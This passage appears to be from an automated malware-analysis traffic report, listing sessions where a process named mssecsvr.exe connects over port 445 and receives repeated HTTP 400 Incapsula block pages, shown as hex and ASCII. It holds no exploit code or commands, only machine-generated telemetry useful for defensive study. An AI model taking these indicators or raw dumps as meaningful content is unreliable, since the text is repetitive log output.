22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 32 2d 31 37 30 31 39 34 38 39 39 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 33 39 36 31 39 36 25 32 30 31 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 38 37 30 39 38 36 32 33 31 39 38 37 31 31 34 36 39 30 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 38 37 30 39 38 36 32 33 31 39 38 37 31 31 34 36 39 30 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=2-170194899-0%200NNN%20RT%281658338396196%201%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-870986231987114690&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-870986231987114690</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
122	45.60.207.16	445	192.168.2.7	56970	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:33:17.209230900 CEST	11393	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 700 X-Iinfo: 3-192724826-0 0NNN RT(1658338396781 64) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 33 2d 31 39 32 37 32 34 38 32 36 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 33 39 36 37 38 31 25 32 30 36 34 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 39 36 39 38 35 33 33 30 38 32 33 39 34 38 33 34 35 39 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 39 36 39 38 35 33 33 30 38 32 33 39 34 38 33 34 35 39 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=3-192724826-0%200NNN%20RT%281658338396781%2064%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-969853308239483459&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-969853308239483459</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
123	45.60.207.16	445	192.168.2.7	57066	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:33:20.974024057 CEST	11398	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 702 X-Iinfo: 10-312168185-0 0NNN RT(1658338400606 4) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 31 30 2d 33 31 32 31 36 38 31 38 35 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 34 30 30 36 30 36 25 32 30 34 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 31 35 37 32 37 36 30 39 35 33 30 32 38 32 31 39 34 36 36 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 31 35 37 32 37 36 30 39 35 33 30 32 38 32 31 39 34 36 36 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=10-312168185-0%200NNN%20RT%281658338400606%204%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-1572760953028219466&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-1572760953028219466</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
124	45.60.207.17	445	192.168.2.7	57159	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:33:21.390683889 CEST	11402	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 700 X-Iinfo: 13-142767303-0 0NNN RT(1658338400735 0) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 31 33 2d 31 34 32 37 36 37 33 30 33 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 34 30 30 37 33 35 25 32 30 30 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 36 37 32 30 30 39 38 33 38 30 30 39 31 39 31 35 36 35 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 36 37 32 30 30 39 38 33 38 30 30 39 31 39 31 35 36 35 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=13-142767303-0%200NNN%20RT%281658338400735%200%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-672009838009191565&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-672009838009191565</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
125	45.60.207.17	445	192.168.2.7	57343	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:33:24.442218065 CEST	11410	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 698 X-Iinfo: 8-23532231-0 0NNN RT(1658338403786 0) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 38 2d 32 33 35 33 32 32 33 31 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 34 30 33 37 38 36 25 32 30 30 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 31 32 30 34 33 36 30 35 30 33 36 34 31 34 30 36 38 30 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 31 32 30 34 33 36 30 35 30 33 36 34 31 34 30 36 38 30 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=8-23532231-0%200NNN%20RT%281658338403786%200%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-120436050364140680&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-120436050364140680</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
126	45.60.207.18	445	192.168.2.7	57348	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:33:24.587553024 CEST	11412	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 699 X-Iinfo: 16-33523093-0 0NNN RT(1658338404370 4) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 31 36 2d 33 33 35 32 33 30 39 33 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 34 30 34 33 37 30 25 32 30 34 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 31 36 32 35 38 32 31 39 30 32 38 36 37 30 31 32 36 34 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 31 36 32 35 38 32 31 39 30 32 38 36 37 30 31 32 36 34 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=16-33523093-0%200NNN%20RT%281658338404370%204%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-162582190286701264&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-162582190286701264</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
127	45.60.207.18	445	192.168.2.7	57622	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:33:27.629240990 CEST	11421	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 699 X-Iinfo: 17-41178785-0 0NNN RT(1658338407417 1) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 31 37 2d 34 31 31 37 38 37 38 35 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 34 30 37 34 31 37 25 32 30 31 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 31 39 36 39 38 34 34 31 38 37 36 36 31 36 30 35 39 33 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 31 39 36 39 38 34 34 31 38 37 36 36 31 36 30 35 39 33 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=17-41178785-0%200NNN%20RT%281658338407417%201%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-196984418766160593&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-196984418766160593</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
128	45.60.207.19	445	192.168.2.7	57625	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:33:27.742908955 CEST	11424	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 700 X-Iinfo: 13-145634302-0 0NNN RT(1658338407063 0) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 